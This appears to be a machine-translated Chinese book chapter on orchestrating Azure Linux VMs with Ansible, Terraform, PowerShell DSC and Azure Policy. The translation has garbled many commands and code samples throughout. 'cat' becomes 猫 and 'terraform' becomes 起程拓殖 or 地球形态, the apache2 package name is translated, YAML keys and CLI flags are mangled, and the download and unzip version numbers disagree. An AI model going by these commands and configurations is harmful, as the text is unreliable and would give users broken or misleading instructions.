与节点的通信是使用通信协议完成的。 对于 Linux,使用 SSH 作为通信协议。 要使 Ansible 能够以一种安全的方式与节点通信,请使用基于密钥的身份验证。 如果还没有这样做,请生成一个 SSH 密钥对,并将密钥复制到要编排的 VM 中。 - -要生成 ssh 密钥,使用这个命令: - -ssh - keygen - -生成密钥后,默认保存到用户的主目录**.ssh**目录中。 要显示密钥,使用以下命令: - -猫~ / . ssh / id_rsa . pub - -一旦我们有了密钥,我们必须将这个值复制到节点服务器。 按照以下步骤复制密钥: - -1. 复制**id_rsa 的内容。 pub**文件。 -2. SSH 到您的节点服务器。 -3. 使用**sudo**命令切换到超级用户。 -4. 编辑**~/中的**authorized_keys**文件。 ssh/**。 -5. 粘贴我们从 Ansible 服务器复制的密钥。 -6. 保存并关闭该文件。 - -为了验证进程是否成功,返回安装了 Ansible 的机器(继续,我们将称之为 Ansible -master),并将**ssh**到节点。 如果您在生成密钥时使用了密码短语,它将要求您输入密码短语。 自动化整个密钥复制过程的另一种方法是使用**ssh-copy-id**命令。 - -### 裸最小配置 - -要配置 Ansible,你需要一个**Ansible .cfg**文件。 这个配置文件可以存储在不同的位置,Ansible 按照以下顺序搜索: - -ANSIBLE_CONFIG(如果设置了环境变量) - -Ansible.cfg(在当前目录) - -~/.ansible.cfg(在主目录) - -/etc/ansible/ansible.cfg - -Ansible 将处理前面的列表并使用找到的第一个文件; 所有其他的都被忽略。 - -在**/etc**目录下创建**ansible**目录,并添加**ansible.cfg**文件。 这是我们保存配置的地方: - -(默认值) - -库存= /etc/ansible/hosts - -让我们试试下面的方法: - -ansible all -a "systemctl status sshd" - -该命令称为 ad hoc 命令,向**/etc/ansiblehosts**中定义的所有主机执行**systemctl status sshd**。 如果每台主机有多个用户名,也可以按照如下 ansible hosts 文件的格式为这些节点指定用户名: - -ansible_ssh_user='' - -所以你可以将用户添加到清单文件中,如下截图所示,如果需要,文件将如下所示: - -![Code to add users to the inventory file line items](img/B15455_08_01.jpg) - -###### 图 8.1:将用户添加到库存文件行项中 - -再试一次。 使用远程用户而不是本地用户名。 现在可以登录并执行命令了。 - -### 库存文件 - -Ansible 目录文件定义了主机和主机组。 基于此,您可以调用主机或主机组(主机组)并运行特定的剧本或执行命令。 - -这里,我们将我们的组命名为**nodepool**,并添加我们节点的 ip。 因为我们所有的虚拟机都在同一个 Azure VNet 中,所以我们使用私有 IP。 如果不在同一网段,可以添加公网 IP。 这里,我们使用三个 vm 来帮助解释。 如果只有一个节点,只需输入那个节点。 - -同样,你也可以使用虚拟机的 DNS 名称,但是它们应该被添加到你的**/etc/hosts**文件中以进行解析: - -[nodepool] - -10.0.0.5 - -10.0.0.6 - -10.0.0.7 - -另一个有用的参数是**ansible_ssh_user**。 您可以使用它来指定登录到节点的用户名。 如果您在多个 vm 上使用多个用户名,那么就需要考虑这个场景。 - -在我们的示例中,可以不使用**所有**,而是使用一个组名**ansibal -nodes**。 也可以使用通用变量,对每台主机有效,并覆盖它们每台服务器; 例如: - -黑“老:vars 铝 - -ansible_ssh_user =‘学生’ - -[nodepool] - -ansible_ssh_user='其他用户' - -有时,你需要特权来执行命令: - -Ansible nodepool-a "systemctl restart sshd" - -这会给出以下错误信息: - -sshd 重启失败。 service:需要交互身份验证。 - -查看系统日志和'systemctl status sshd。 服务的细节。 非零返回代码。 - -对于特别命令,只需添加**-b**选项作为 Ansible 参数来启用权限升级。 默认情况下,它将使用**sudo**方法。 在 Azure 映像中,如果使用**sudo**,则不需要提供根密码。 这就是为什么**-b**选项可以毫无问题地工作。 如果您配置了**sudo**来提示输入密码,请使用**-K**。 - -我们建议运行其他命令,如**netstat**和**ping**,以了解如何在这些机器中执行命令。 对**sshd**运行**netstat**和 grepping 将得到类似的输出: - -![Output of netstat and grep ssh command](img/B15455_08_02.jpg) - -###### 图 8.2:为 sshd 运行 netstat 和 grepping - -#### 请注意 - -在运行**ansible all**命令时,您可能会收到弃用警告。 要抑制这种情况,在**ansible.cfg**中使用**deprecation_warnings=False**。 - -### Ansible 剧本和模块 - -使用特别命令是一种必要的方法,并不比仅仅使用 SSH 客户端远程执行命令好多少。 - -要使其成为真正的命令式编排,您需要两个组件:剧本和模块。 剧本是系统部署、配置和维护的基础。 它可以协调一切,甚至在主持人之间! 剧本是用来描述你想达到的状态的。 剧本是用 YAML 写的,可以用**ansible-playbook**命令执行: - -ansible-playbook - -第二个组件是模块。 描述一个模块的最佳方式是:要执行的任务达到预期的状态。 它们也被称为任务插件或库插件。 - -所有可用的模块都有文档记录; 您可以在网上和您的系统上找到这些文档。 - -要列出所有可用的插件文档,执行以下命令: - -ansible-doc - l - -这需要一段时间。 我们建议您将结果重定向到一个文件。 这样,它花费的时间更少,也更容易搜索模块。 - -作为示例,让我们尝试创建一个剧本,如果用户不存在,则使用**user**模块创建用户。 换句话说,期望的状态是一个特定的用户存在。 - -从阅读文档开始: - -ansible-doc 用户 - -在 Ansible 目录中创建一个文件,例如**playbook1。 yaml**,包含以下内容。 验证用户文档中的参数: - ---- - -——主机: - -任务: - -- name:添加用户 Jane Roe - -成为:是的 - -become_method: sudo - -用户: - -目前状态: - -名称:简 - -create_home:是的 - -备注:简·罗伊 - -generate_ssh_key:是的 - -用户组: - -组: - -        - sudo - -        - adm - -      shell: /bin/bash - -      skeleton: /etc/skel - -从输出中可以看到,所有主机返回**OK**,用户被创建: - -![Parametres of the created ansible file](img/B15455_08_03.jpg) - -###### 图 8.3:运行 Ansible 剧本 - -为了确保创建了用户,我们将在所有主机中检查**/etc/passwd**文件。 从输出中,我们可以看到用户已经创建: - -![Checking the password file of the hosts to verify user creation](img/B15455_08_04.jpg) - -###### 图 8.4:使用/etc/passwd 验证用户创建 - -确保缩进是正确的,因为 YAML 在缩进和空白方面是一种非常严格的语言。 使用具有 YAML 支持的编辑器(如 vi、Emacs 或 Visual Studio Code)确实有帮助。 - -如果需要运行命令权限升级,可以使用**变为**,**变为 e_method**或**-b**。 - -要检查 Ansible 语法,使用以下命令: - -ansible-playbook——语法检查 Ansible / example1.yaml - -让我们继续,看看如何向 Azure 进行身份验证并在 Azure 中启动部署。 - -### Auth 吸引微软 Azure - -要将 Ansible 与 Microsoft Azure 集成,您需要创建一个配置文件,以便将 Azure 的凭证提供给 Ansible。 - -凭据必须存储在您的主目录**~/中。 azure/凭证**文件。 首先,我们必须用 Azure CLI 收集必要的信息。 认证到 Azure 如下: - -az login - -如果您成功登录,您将得到类似如下的输出: - -![User credentials indicating successful Azure login](img/B15455_08_05.jpg) - -###### 图 8.5:使用 az 登录命令登录到 Azure - -这已经是你需要的一部分信息了。 如果已经登录,请执行以下命令: - -阿兹帐户列表 - -创建一个服务主体: - -az ad sp create-for-rbac——name——password - -应用 ID 是您的**client_id**,密码是您的**secret**,它将在我们将要创建的凭据文件中引用。 - -创建**~/。 azure/凭据**文件包含以下内容: - -(默认) - -subscription_id=xxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx - -client_id=xxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx - -秘密= xxxxxxxxxxxxxxxxx - -tenant=xxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx - -使用**Ansible -doc -l | grep azure**找出哪些 Ansible 模块可以用于 azure。 将内容重定向到一个文件以供引用。 - -### 资源组 - -让我们检查一下一切是否正常。 创建一个名为**resourcegroup 的新剧本。 yaml**包含以下内容: - ---- - -主持人:localhost - -任务: - -—name:创建资源组 - -azure_rm_resourcegroup: - -名称:Ansible-Group - -地点:westus - -请注意,hosts 指令是 localhost! 执行脚本,验证是否创建了资源组: - -az group show——name Ansible-Group - -输出应该非常类似如下: - -{ - -“id”:“/订阅/ xxxx / resourceGroups / Ansible-Group”, - -"location": "westus", - -已经被他们撰写的程序“”:空, - -“名称”:“Ansible-Group”, - -"属性":{ - -“provisioningState”:“Succeeded” - -}, - -“标签”:null - -} - -### 虚拟机 - -让我们使用 Ansible 在 Azure 中创建一个 VM。 为此,创建一个**虚拟机。 yaml**文件,包含以下内容。 检查每个块的**name**字段,以了解代码的作用: - -主持人:localhost - -任务: - -—name:创建存储帐户 - -azure_rm_storageaccount: - -resource_group: Ansible-Group - -名称:ansiblegroupsa - -account_type: Standard_LRS - -. - -. - -。 —name:创建 CentOS 虚拟机 - -azure_rm_virtualmachine: - -resource_group: Ansible-Group - -名称:ansible-vm - -vm_size: Standard_DS1_v2 - -admin_username:学生 - -admin_password: welk0mITG ! - -图片: - -提供:被久远 - -出版者:OpenLogic - -sku: 7。5 - -最新版本: - -考虑到代码的长度,我们在这里只显示了几行。 您可以下载整个**虚拟机。 yaml**文件来自本书 GitHub 库中的**第 8 章**文件夹。 - -在下图中,可以看到虚拟机所需的所有资源都是由 Ansible 创建的: - -![Creating all the required resources for the VM with Ansible](img/B15455_08_06.jpg) - -###### 图 8.6:使用 Ansible 为虚拟机创建所需的所有资源 - -你可以在 Ansible 的 Microsoft Azure 指南([https://docs.ansible.com/ansible/latest/scenario_guides/guide_azure.html](https://docs.ansible.com/ansible/latest/scenario_guides/guide_azure.html))中找到一个使用 Ansible 部署 Azure VM 的完整示例。 - -### Azure 库存管理 - -我们学习了在 Azure 中使用 Ansible 的两种方法: - -* 在目录文件中使用 Ansible 连接到 Linux 机器。 事实上,它在 Azure 或其他地方运行并不重要。 -* 使用 Ansible 管理 Azure 资源。 - -在本节中,我们将进一步讨论。 我们不使用静态库存,而是使用动态库存脚本询问 Azure 在您的环境中运行什么。 - -第一步是下载 Azure 的动态库存脚本。 执行**sudo**如果你不是根用户: - -cd /etc/ansible - -wget https://raw.githubusercontent.com/ansible/ansible/devel/contrib/inventory/azure_rm.py - -chmod +x /etc/ansible/azure_rm.py - -编辑**/etc/ansible/ansible.cfg**文件,删除**inventory=/etc/ansible/hosts**行。 - -让我们执行第一步: - -/etc/ansible/azure_rm.py azure -m ping - -它可能会由于认证问题而失败: - -![Host connection failure due to authentication issues](img/B15455_08_07.jpg) - -###### 图 8.7:由于身份验证问题导致主机连接失败 - -如果您对不同的 vm 有不同的登录,您总是可以对每个任务使用 user 指令。 在这里,我们使用的是**azure**,这意味着所有 vm。 可以通过虚拟机名称进行查询。 例如,可以使用用户凭据 ping**ansible-node3**虚拟机: - -![Using the user credentials to ping the ansible-node3 VM](img/B15455_08_08.jpg) - -###### 图 8.8:ansible-node3 虚拟机的查询 - -理想情况下,Ansible 希望您使用 SSH 密钥而不是密码。 如果您想要使用密码,可以使用**-extra-vars**并传递密码。 请注意,为此您需要安装一个名为**sshpass**的应用。 通过 Ansible ping Azure 中使用密码的虚拟机,执行以下命令: - -Ansible -i azure_rm.py Ansible -vm -m ping \ - -——extra-vars "ansible_user=ansible_password=" - -让我们以在前面的示例中使用 Ansible 创建的 VM 实例为例,其中用户名是**student**,密码是**welk0mITG!** 。 从屏幕截图中,您可以看到 ping 成功。 您可能会看到一些警告,但是可以安全地忽略它们。 但是,如果 ping 失败,需要进一步的调查: - -![Screenshot indicating that ping to the user succeeds](img/B15455_08_09.jpg) - -###### 图 8.9:发送用户名 student 的 ping - -通过在与**azure_rm.py**目录相同的目录中创建一个**azure_rm.ini**文件,您可以修改目录脚本的行为。 下面是一个示例**ini**文件: - -(azure) - -include_powerstate=yes - -group_by_resource_group = yes - -group_by_location = yes - -group_by_security_group = yes - -group_by_tag = yes - -它的工作方式与**托管**文件非常相似。 **[azure]**段表示所有虚拟机。 你也可以提供以下部分: - -* 地点名称 -* 资源组名 -* 安全组名称 -* 标签的关键 -* 标签键值 - -选择一个或多个 vm 的另一种方法是使用标记。 为了能够标记一个虚拟机,你需要 ID: - -Az vm list——输出 TSV - -现在,您可以标记 VM: - -az 资源标签-resource-group\ - -——tags webserver——id - -你也可以在 Azure 门户上标记 VM: - -![Tagging the VM in the Azure portal](img/B15455_08_10.jpg) - -###### 图 8.10:在 Azure 门户中标记 VM - -单击**更改**并添加一个标记,带或不带值(您也可以使用值来过滤值)。 要验证,请使用标签名 host: - -/etc/ansible/azure_rm.py webserver -m ping - -只有带标签的虚拟机能够 ping 通。 让我们为这个带标签的 VM 创建一个剧本,例如,**/etc/ansible/example9 yaml**。 同样,这个标签在**hosts**指令中使用: - ---- - -- hosts: webserver - -任务: - -—name:安装 Apache Web Server - -成为:是的 - -become_method: sudo - -恰当的: - -名称:输入 - -install_recommends:是的 - -目前状态: - -update-cache:是的 - -当: - -ansible_distribution == "Ubuntu" - -- ansible_distribution_version == "18.04" - -执行剧本: - -ansible-playbook -i /etc/ansible/azure_rm.py /etc/ansible/example9.yaml - -一旦运行了剧本,如果检查 VM,您可以看到 Apache 已经安装。 - -如前所述,Ansible 并不是唯一的工具。 还有一种很流行的叫做 Terraform。 在下一节中,我们将讨论 Azure 上的 Terraform。 - -## 使用地球形态 - -Terraform 是另一个由 HashiCorp 开发的**Infrastructure as Code**(**IaC**)工具。 您可能想知道为什么它被称为 IaC 工具。 原因是你可以定义你的基础设施需要如何使用代码,Terraform 会帮助你部署它。 Terraform 使用**HashiCorp 配置语言**(**HCL**) 但是,您也可以使用 JSON。 Terraform 在 macOS、Linux 和 Windows 中都得到支持。 - -Terraform 支持广泛的 Azure 资源,如网络、子网、存储、标签和虚拟机。 如果您还记得,我们讨论了编写代码的命令式和声明式方法。 Terraform 本质上是声明性的,它可以维护基础设施的状态。 一旦部署完毕,Terraform 会记住基础设施的当前状态。 - -在每一节中,过程的第一部分涉及安装 Terraform。 让我们继续安装 Terraform 的 Linux 操作系统。 - -### 安装 - -Terraform 的核心可执行文件可以从[https://www.terraform.io/downloads.html](https://www.terraform.io/downloads.html)下载,并且可以复制到添加到**$PATH**变量中的一个目录中。 您还可以使用**wget**命令下载核心可执行文件。 要做到这一点,首先你必须从前面提到的链接中找到 Terraform 的最新版本。 在撰写本文时,可用的最新版本是 0.12.16 - -现在我们有了版本,我们将使用**wget**和以下命令下载可执行文件: - -wget https://releases.hashicorp.com/terraform/0.12.17/terraform_0.12.17_linux_amd64.zip - -ZIP 文件将被下载到当前工作目录。 现在我们将使用 unzip 工具来提取可执行文件: - -解压缩 terraform_0.12.16_linux_amd64.zip - -#### 请注意 - -默认情况下,**unzip**可能不会安装。 如果抛出错误,根据您使用的发行版,使用**apt**或**yum**安装**解压缩**。 - -提取过程将获得 Terraform 可执行文件,您可以将其复制到您的**$PATH**中的任何位置。 - -要验证安装是否成功,可以执行: - -起程拓殖,版本 - -现在我们已经确认安装了 Terraform,让我们继续设置 Azure 的身份验证。 - -### 正在验证 Azure - -有多种方式可以验证到 Azure。 您可以使用 Azure CLI、使用客户端证书的服务主体、服务主体和客户端秘密以及更多方法。 出于测试目的,使用**az**登录命令的 Azure CLI 是正确的选择。 然而,如果我们想自动化部署,这并不是一个理想的方法。 我们应该选择服务委托人和客户秘密,就像我们在 Ansible 做的那样。 - -让我们先为 Terraform 创建一个服务主体。 如果您已经为前面的部分创建了一个 Service Principal,那么您可以随意使用它。 要从 Azure CLI 创建一个新的服务主体,使用下面的命令: - -Az AD sp create-for-rbac -n terraform - -此时,您可能已经熟悉了输出,其中包含了**appID**、密码和租户 ID。 - -记下输出中的值,我们将创建变量来存储这个值: - -export ARM_CLIENT_ID="" - -export ARM_CLIENT_SECRET="" - -export ARM_SUBSCRIPTION_ID="" - -export ARM_TENANT_ID="" - -因此,我们已经将所有的值存储到将被 Terraform 用于身份验证的变量中。 既然我们已经处理了身份验证,让我们用 HCL 编写代码,以便在 Azure 中部署资源。 - -### 部署到 Azure - -为此,您可以使用任何代码编辑器。 因为我们已经在 Linux 机器上了,所以可以使用 vi 或 nano。 如果你愿意,你也可以使用 Visual Studio Code,它为 Terraform 和 Azure 提供了扩展,可以让你获得智能感知和语法高亮。 - -让我们创建一个 terraform 目录来存储我们所有的代码,在**terraform**目录中,我们将根据将要部署的内容创建更多的目录。 在我们的第一个示例中,我们将使用 Terraform 在 Azure 中创建一个资源组。 稍后,我们将讨论如何在这个资源组中部署 VM。 - -因此,要创建一个**terraform**目录,并在该目录中创建一个**resource-group**子文件夹,执行以下命令: - -mkdir 起程拓殖 - -CD terraform & mkdir resource-group - -光盘资源组 - -接下来,创建一个 main。 Tf 文件与以下内容: - -provider "azurerm" { - -version = " ~ > 1.33 " - -} - -资源"azurerm_resource_group" "rg" { - -姓名=“地球仪” - -地点: - -} - -代码非常简单。 让我们仔细看看每一项。 - -provider 指令表明我们想要使用**azurerm**provider 的 1.33 版本。 换句话说,我们打算使用 Terraform Azure Resource Manager 提供商的 1.33 版本,它是 Terraform 可用的插件之一。 - -**资源**指令说我们要部署一个 Azure 的资源**azurerm_resource_group**类型有两个参数,**名称**和**位置。** - -**rg**表示资源配置。 每个模块中每个类型的资源名称必须是唯一的。 例如,如果你想在同一个模板中创建另一个资源组,你不能再次使用**rg**,因为你已经使用了它; 相反,您可以使用除**rg**之外的任何选项,例如**rg2**。 - -在使用模板开始部署之前,我们首先需要初始化项目目录,即我们的**资源组**文件夹。 要初始化 Terraform,执行以下操作: - -起程拓殖 init - -在初始化过程中,Terraform 将从其存储库中下载**azurerm**提供商,并将显示如下类似的输出: - -![Terraform downloading the azurerm provider from its repository](img/B15455_08_11.jpg) - -###### 图 8.11:初始化 Terraform 以下载 azurerm 提供商 - -由于我们已经将服务主体的详细信息导出到变量中,我们可以使用以下命令进行部署: - -起程拓殖应用 - -这个命令将连接 Terraform 到您的 Azure 订阅,并检查资源是否存在。 如果 Terraform 发现资源不存在,它将继续创建一个执行计划来部署。 您将得到如下截图所示的输出。 要继续部署,输入**yes**: - -![Using terraform apply to connect terraform to the Azure subscription](img/B15455_08_12.jpg) - -###### 图 8.12:连接 Terraform 到 Azure 订阅 - -一旦你给出了输入,Terraform 将开始创建资源。 在创建之后,Terraform 会向你展示所有创建的东西的概要,以及添加和销毁了多少资源,如下图所示: - -![A summary of the resources created using the terraform apply command](img/B15455_08_13.jpg) - -###### 图 8.13:创建的资源的摘要 - -一个名为**terraform 的状态文件。 tfstate**将在我们初始化 Terraform 的项目目录中生成。 这个文件将包含状态信息,以及我们部署到 Azure 的资源列表。 - -我们成功创建了资源组; 在下一节中,我们将讨论如何使用 Terraform 创建 Linux 虚拟机。 - -### 部署虚拟机 - -在前面的示例中,我们创建了资源组,我们使用**azurerm_resource_group**作为要创建的资源。 对于每个资源都有一个指令,例如,对于虚拟机,它是**azurerm_virtual_machine**。 - -另外,我们使用**terraform apply**命令创建了资源组。 但 Terraform 也提供了一种执行计划的方式。 因此,与其直接部署,不如创建一个计划,看看要进行哪些更改,然后进行部署。 - -首先,您可以返回到**terraform**目录,并创建一个名为**vm**的新目录。 对于不同的项目有不同的目录总是一个好主意: - -mkdir . . / vm - -cd . . / vm - -进入该目录后,可以创建一个新的**main。 tf**文件,其内容如下代码块所示。 使用添加的注释来查看每个块的用途。 考虑到代码的长度,我们将显示代码块的截断版本。 你可以找到**主干。 在本书 GitHub 库的**第 8 章**文件夹下的 tf**代码文件: - -provider "azurerm" { - -version = " ~ > 1.33 " - -} - -#创建资源组 - -resource "azurerm_resource_group" "rg" { - -    name     = "TFonAzure" - -地点: - -} - -. - -. - -. - -#创建虚拟机,结合我们目前创建的所有组件 - -资源"azurerm_virtual_machine" "myterraformvm" { - -的名字                   = " tf-VM” - -地点: - -resource_group_name = azurerm_resource_group.rg.name - -network_interface_ids = [azurerm_network_interface.nic.id] - -vm_size                = " Standard_DS1_v2” - -storage_os_disk { - -        name              = "tfOsDisk" - -        caching           = "ReadWrite" - -create_option = " FromImage " - -managed_disk_type = " Standard_LRS " - -    } - -storage_image_reference { - -出版商= "规范" - -        offer     = "UbuntuServer" - -        sku       = "16.04.0-LTS" - -version = "最近" - -    } - -os_profile ( - -computer_name = " tfvm " - -admin_username = " adminuser " - -admin_password = " Pa55w0rD ! @1234” - -    } - -os_profile_linux_config { - -disable_password_authentication = false - -  } - -} - -如果您查看**azurerm_virtual_network**部分,您可以看到我们没有写下资源名,而是以**type.resource_configuration 格式给出了引用。 参数**。 在本例中,不是写下资源组名,而是引用为**azurerm_resource_group.rg.name**。 同样地,在整个代码中,我们采用了引用来简化部署。 - -在开始部署计划之前,我们必须使用以下方法初始化项目: - -起程拓殖 init - -如前所述,我们将执行执行计划。 创建执行计划并将其保存到**vm-计划中。 计划**文件,执行: - -地球形态计划出来,vm 计划,计划 - -你会收到很多警告; 完全可以忽略它们。 确保代码没有显示任何错误。 如果成功创建执行计划,将显示执行计划的下一步,如下图所示: - -![Successful creation of the execution plan](img/B15455_08_14.jpg) - -###### 图 8.14:显示执行计划 - -如输出中所示,我们将执行: - -起程拓殖应用“vm-plan.plan” - -现在,部署将启动,并将显示它正在部署的资源,已经花费了多少时间,等等,如输出所示: - -![Details of the resources in deployment](img/B15455_08_15.jpg) - -###### 图 8.15:资源部署细节 - -最后,Terraform 会给出一个资源部署数量的总结: - -![Summary of the deployed resources](img/B15455_08_16.jpg) - -###### 图 8.16:部署的资源数量的概要 - -还有另一个命令,即**show**命令。 这将显示部署的完整状态,如下图所示: - -![Checking the complete state of the deployment](img/B15455_08_17.jpg) - -###### 图 8.17:显示部署的完整状态 - -我们编写了一小段代码,可以在 Azure 中部署 VM。 然而,有许多参数可以添加到代码中,通过这些参数可以进行高级状态配置。 参数的完整列表可以在起程拓殖文档(https://www.terraform.io/docs/providers/azurerm/r/virtual_machine.html)和微软文档(https://docs.microsoft.com/en-us/azure/virtual-machines/linux/terraform-create-complete-vm)。 - -由于这些模板有点高级,它们将使用变量而不是重复的值。 然而,一旦你习惯了这一点,你就会明白 Terraform 是多么强大。 - -最后,您可以通过执行以下命令来破坏整个部署或项目: - -起程拓殖摧毁 - -这将删除我们在**主程序中提到的所有资源。 项目的 tf**文件。 如果您有多个项目,则必须导航到项目目录并执行**destroy**命令。 在执行该命令时,系统将要求您确认删除; 一旦您输入**yes**,资源将被删除: - -![Destroying the entire deployment with terraform destroy command](img/B15455_08_18.jpg) - -###### 图 8.18:使用毁灭地球命令删除所有资源 - -最后,你会得到一个总结,如下所示: - -![Summary of the destroyed resources](img/B15455_08_19.jpg) - -###### 图 8.19:被销毁资源的摘要 - -现在我们已经熟悉了在 Azure 上使用 Terraform 并部署一个简单的 VM。 如今,由于 DevOps 的可用性和采用,Terraform 越来越受欢迎。 Terraform 已经使评估基础设施和重建的过程变得轻松。 - -## 使用 PowerShell DSC - -与 Bash 一样,PowerShell 是一个具有强大脚本可能性的 shell。 我们可能认为 PowerShell 更像是一种脚本语言,它可以用来执行简单的操作或创建资源,就像我们到目前为止所做的那样。 然而,PowerShell 的功能远不止于此,它一直扩展到自动化和配置。 - -DSC 是 PowerShell 中一个重要但鲜为人知的部分,它不是在 PowerShell 语言中自动化脚本,而是在 PowerShell 中提供声明式编排。 - -如果与 Ansible 相比,它对 Linux 的支持非常有限。 但是它对于常见的管理任务非常有用,并且可以用 PowerShell 脚本弥补缺失的特性。 微软非常专注于让它与 Windows Server 齐名。 当这发生时,它将被 PowerShell DSC Core 所取代,这一举动非常类似于他们之前对 PowerShell | PowerShell Core 所做的。 这将在 2019 年底完成。 - -另一个重要的注意是,由于某些原因,带有 DSC 的 Python 脚本不能正常工作,您会不时地得到 401 错误,甚至是未定义的错误。 首先,确保您拥有 OMI 服务器和 DSC 的最新版本,然后再试一次; 有时候,你不得不尝试两三次。 - -### Azure Automation DSC - -使用 DSC 的一种方法是使用 Azure Automation DSC。 这样,您就不必使用单独的机器作为控制器节点。 为了能够使用 Azure Automation DSC,您需要一个 Azure Automation 帐户。 - -**自动化账户** - -在 Azure 门户中,选择左侧栏中的**All Services**,导航到**Management + governance**,然后选择**Automation Accounts**。 创建一个自动化帐户,并确保您选择**Run As account**。 - -再次导航到**所有服务**、**管理工具**,然后选择**刚创建的帐户**: - -![Selecting the newly created automation account](img/B15455_08_20.jpg) - -###### 图 8.20:在 Azure 门户中创建自动化帐户 - -在这里,您可以管理节点、配置等等。 - -请注意,这项服务并不是完全免费的。 流程自动化按作业执行时间定价,而配置管理按受管理节点定价。 - -要使用这个帐户,您需要注册 URL 和您的**Run As account**的对应密钥。 这两个值都在**帐户**和**键设置**下可用。 - -或者,在 PowerShell 中执行以下命令: - -Get-AzAutomationRegistrationInfo ' - --ResourceGroup' - -  -AutomationAccountName - -有一个 VM 扩展可用于 Linux; 通过这种方式,您可以部署 vm,包括 vm 的配置,并对其进行充分的协调。 - -更多信息请访问[https://github.com/Azure/azure-linux-extensions/tree/master/DSC](https://github.com/Azure/azure-linux-extensions/tree/master/DSC)和[https://docs.microsoft.com/en-us/azure/virtual-machines/extensions/dsc-linux](https://docs.microsoft.com/en-us/azure/virtual-machines/extensions/dsc-linux)。 - -因为我们要使用 Linux 和 DSC,所以我们需要一个名为**nx**的 DSC 模块。 这个模块包含 Linux 的 DSC 资源。 在您的自动化帐户设置中,选择**共享资源和模块**。 在**浏览图库**选项卡中,搜索**nx**并导入模块。 - -### 在 Linux 上安装 PowerShell DSC - -为了能够在 Linux 上使用 PowerShell DSC,你需要开放管理基础设施服务。 Linux 发行版支持的版本如下: - -* Ubuntu 12.04 LTS, 14.04 LTS 和 16.04 LTS。 目前不支持 Ubuntu 18.04。 -* RHEL/CentOS 6.5 及更高版本。 -* openSUSE 13.1 及以上版本。 -* SUSE Linux Enterprise Server 11 SP3 及以上版本。 - -该软件可在[https://github.com/Microsoft/omi](https://github.com/Microsoft/omi)下载。 - -Red hat 发行版的安装如下: - -安装\ - -  https://github.com/Microsoft/omi/releases/download/\ - -v1.4.2-3 /尾身茂- 1.4.2 ssl_100.ulinux.x64.rpm——3. - -对于 Ubuntu,你可以使用**wget**从 GitHub 库下载**deb**文件,然后使用**dpkg**安装: - -dpkg——i ./omi-1.6.0-0.ssl_110.ulinux.x64.deb - -#### 请注意 - -确保您下载的文件与您的 SSL 版本匹配。 您可以使用**openssl version**命令检查 SSL 的版本。 - -安装完成后,服务会自动启动。 使用如下命令检查服务状态: - -systemctl status omid.service - -要显示产品和版本信息,包括所使用的配置目录,使用以下命令: - -/opt/omi/bin/omicli id - -![Product information with list of configuration directories used](img/B15455_08_21.jpg) - -###### 图 8.21:显示产品和版本信息 - -### 创建期望状态 - -PowerShell DSC 不只是一个脚本或带有参数的代码,就像 Ansible 一样。 要开始使用 PowerShell DSC,您需要一个配置文件,该文件必须被编译成一个**管理对象格式**(**MOF**)文件。 - -但是,重要的事情要先做。 让我们创建一个文件**example1。 ps1**,内容如下: - -webserver 配置{ - -Import-DscResource -ModuleName PSDesiredStateConfiguration nx - -节点“ubuntu01”{ - -nxPackage apache2 - -    { - -Name = "输入" - -确保=“礼物” - -        PackageManager = "apt" - -    } - -} - -} - -webserver - -让我们研究一下这个配置。 如上所述,它非常类似于函数声明。 配置得到一个标签,并在脚本的末尾执行。 导入必要的模块,声明 VM 的主机名,然后开始配置。 - -### PowerShell 的 DSC 资源 - -在这个配置文件中,使用了一个名为**nxPackage**的资源。 有几个内置资源: - -* nxArchive:提供在指定路径下解压归档文件(**.tar**,**.zip**)的机制。 -* **nxEnvironment**:管理环境变量。 -* **nxFile**:管理文件和目录。 -* **nxFileLine**:管理 Linux 文件中的行。 -* **nxGroup**:管理 Linux 本地组。 -* **nxPackage**:管理 Linux 节点上的包。 -* **nxScript**:运行脚本。 大多数时候,这用于临时切换到更命令式的编排方法。 -* **nxService**:管理 Linux 服务(守护进程)。 -* **nxUser**:管理 Linux 用户。 - -您也可以用 MOF 语言、c#、Python 或 C/ c++编写自己的资源。 - -您可以通过访问[https://docs.microsoft.com/en-us/powershell/dsc/lnxbuiltinresources](https://docs.microsoft.com/en-us/powershell/dsc/lnxbuiltinresources)使用官方文档。 - -保存脚本并按如下方式执行: - -pwsh -file example1.ps - -作为脚本的结果,创建了一个与配置名称相同的目录。 其中有一个 MOF 格式的本地主机文件。 这是用于描述 CIM 类的语言(**CIM**代表**公共信息模型**)。 CIM 是用于管理包括硬件在内的完整环境的开放标准。 - -我们认为这个描述本身就足以理解为什么微软选择这个模型和相应的语言文件进行编配! - -你也可以上传配置文件到 Azure,在**DSC Configurations**下。 在 Azure 中按**Compile**按钮生成 MOF 文件。 - -**Azure 中的资源应用** - -如果您愿意,您可以使用**/opt/microsoft/dsc/ scripts**中的脚本在本地应用所需的状态,在我们看来,这并不像应该的那样简单。 而且,由于这一章是关于 Azure 中的编排,我们将直接转向 Azure。 - -注册虚拟机: - -sudo /opt/microsoft/dsc/Scripts/Register.py \ - -——RegistrationKey\ - -——ConfigurationMode ApplyOnly \ - -——刷新模式推送——ServerURL - -再次检查配置: - -sudo /opt/microsoft/dsc/Scripts/GetDscLocalConfigurationManager.py - -该节点现在可以在您的**自动化帐户**设置下的**DSC Nodes**窗格中看到。 现在,您可以链接上传和编译的 DSC 配置。 配置已经应用! - -另一种方法是使用**Add Node**选项,然后选择 DSC 配置。 - -总之,PowerShell DSC 的主要用例场景是编写、管理和编译 DSC 配置,以及将这些配置导入并分配到云中的目标节点。 在使用任何工具之前,您需要了解用例场景以及它们如何适应您的环境以实现目标。 到目前为止,我们已经配置了 vm; 下一节是关于如何使用 Azure Policy Guest 配置审计 Linux 虚拟机内部的设置。 - -## Azure 策略客户端配置 - -策略主要用于资源的治理。 Azure Policy 是 Azure 中的一个服务,您可以通过它在 Azure 中创建、管理和分配策略。 这些策略可用于审计和遵从性。 例如,如果你在美国东部托管一个安全的应用,并且你希望只在美国东部部署,Azure Policy 可以用来实现这一点。 - -假设您不想在订阅中部署 SQL 服务器。 在 Azure Policy 中,您可以创建一个策略并指定允许的服务,并且只能在该订阅中部署它们。 请注意,如果您将策略分配给已经拥有资源的订阅,那么 Azure policy 只能对分配后创建的资源进行操作。 但是,如果分配之前的任何现有资源不符合策略,它们将被标记为“不符合”,以便管理员在必要时纠正它们。 此外,Azure Policy 只会在部署的验证阶段起作用。 - 